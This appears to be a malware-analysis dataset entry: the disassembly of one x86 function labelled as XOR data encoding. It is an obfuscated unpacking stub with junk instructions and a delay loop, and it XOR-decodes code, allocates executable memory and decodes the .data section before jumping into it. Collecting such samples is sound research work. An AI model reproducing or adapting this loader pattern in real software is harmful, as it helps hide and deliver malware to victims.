Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf5ea5b40
mov esi, 0xad99aceb
mov ebx, esi
dec ebx
popal
and esi, esi
sub ebx, 0xe4506f9d
mov esi, 0
mov edx, eax
or ecx, ecx
add ecx, 0xb79f2081
add ebx, ebx
mov edi, edx
inc ebx
mov ebx, 0x82b73712
add ecx, ecx
mov eax, edi
mov ecx, 0x13d24d8a
inc ecx
inc ecx
add esi, 1
or ecx, ecx
sub ecx, ebx
cmp esi, 0x1005823
jne 0xa789c8
and ebx, ebx
add ebx, ecx
sub ebx, esi
add esi, ebx
mov edx, 0xa78796
or ecx, esi
mov eax, 0xb5b043f2
inc esi
mov ebx, 0xa7898a
not ecx
mov ecx, eax
mov edi, dword [edx]
mov ecx, eax
add esi, eax
sub esi, ecx
and edi, 0xff
not eax
sub ecx, esi
add esi, 0x19353345
xor dword [ebx], edi
mov esi, ecx
sub esi, 0x1a3d6d82
inc ebx
inc ecx
or ecx, eax
sub ecx, 0x1cf6e02a
inc edx
inc ecx
sub eax, 0x32fd6d80
or ecx, ecx
cmp ebx, entry0
jl 0xa78a1b
sub eax, 0xd1500776
mov eax, esi
mov eax, esi
add ecx, esi
and esi, esi
sub ebx, 0x30f701f4
sub ebx, edi
inc ebx
mov esi, 0xa7898e
add edx, 0x51a7d68e
add edi, edx
mov esi, dword [esi]
sub edx, 0xac0eceb6
sub ecx, 0xeee39a38
mov esi, dword [esi]
sub edi, edx
dec edi
push esi
sub edx, 0x4f2aec84
mov edi, 0x8f815a4b
mov esi, 0xa7898a
sub edi, ebx
add edi, 0xab15d257
not ebx
mov esi, dword [esi]
add ecx, edx
and edx, edi
mov esi, dword [esi]
sub edi, 0xddfe01b5
not edx
mov edx, ebx
push 0xa78992
or edx, edi
add ecx, ebx
call esi
dec edi
sub ebx, 1
sub ecx, ebx
pop esi
sub edx, edi
sub ecx, 0x117c8955
sub esp, 4
mov dword [esp], 0xa7899f
not edi
add edi, 0x3415b994
push eax
mov edi, edx
add edx, 1
call esi
add edi, 0xd2876152
add ebx, 0x92d34feb
push 0x40
sub ebx, edi
add edi, ebx
push 0x3000
inc edi
inc ebx
push 0x20000340
sub ebx, edi
and ebx, edx
add ecx, edx
push 0
mov edi, 0x47e5e1eb
add ecx, ecx
call eax
add ecx, edx
mov ecx, 0xb7eaf2a7
add eax, 0x200002ce
dec edx
dec edi
mov edx, 0xd06f5fee
mov esi, 0xe022b276
sub ecx, 1
dec edi
add edi, 0xddda827e
mov dword [eax], esi
sub ecx, 0xeec912f1
or ecx, ebx
mov esi, dword [eax]
mov ebx, 0x48126697
and ecx, edi
cmp esi, 0xe022b276
je 0xa78b78
mov edx, 0
mov eax, dword [edx]
and ecx, edx
inc edi
mov ebx, 0x4d8b307b
sub edx, ecx
inc edx
inc ebx
sub ebx, esi
sub esi, 1
mov ecx, section..data
dec ebx
sub esi, 1
mov edx, 0xa78795
dec esi
sub esi, 0x95f80e3d
mov edi, 0
add esi, ebx
not ebx
mov ebx, 0xac2e8454
mov eax, 0xa78796
add esi, esi
not ebx
lea eax, [edi + eax]
dec esi
sub esi, ebx
mov eax, dword [eax]
dec esi
mov esi, ebx
and eax, 0xff
add ebx, ebx
sub ebx, 0x75882557
inc edi
or esi, esi
inc esi
add esi, esi
cmp edi, 0x1f4
jne 0xa78be7
mov edi, 0
add ebx, ebx
sub esi, ebx
add ebx, esi
inc esi
xor dword [ecx], eax
sub esi, ebx
mov ebx, 0x36e8b4e3
add ecx, 2
add ebx, 0x41a3c500
mov esi, ebx
add esi, esi
cmp ecx, edx
jl 0xa78bb2
mov ebx, esi
or ebx, esi
or esi, esi
mov esi, 0x13c034c
sub ebx, 0xd1209a01
mov edx, section..data
sub ebx, edi
sub ebx, edi
add ebx, 0x74c782f0
mov esi, section..data
inc edi
sub edi, ebx
mov ecx, 0xa78795
mov ebx, 0x5f7f37ba
not edi
mov eax, 0
mov ebx, edi
not ebx
add edi, edi
mov al, byte [esi]
add edi, 0x88bcea6f
dec edi
mov byte [edx], al
not edi
sub edi, 0x5788b9dd
add edx, 1
and edi, edi
or ebx, edi
add edi, 0x43518262
add esi, 2
inc edi
inc ebx
cmp esi, ecx
jle 0xa78c4e
and ebx, edi
sub ebx, edi
sub ebx, esi
and ebx, esi
not esi
push 0x8dc6a0
add esi, esi
dec ebx
mov esi, ebx
ret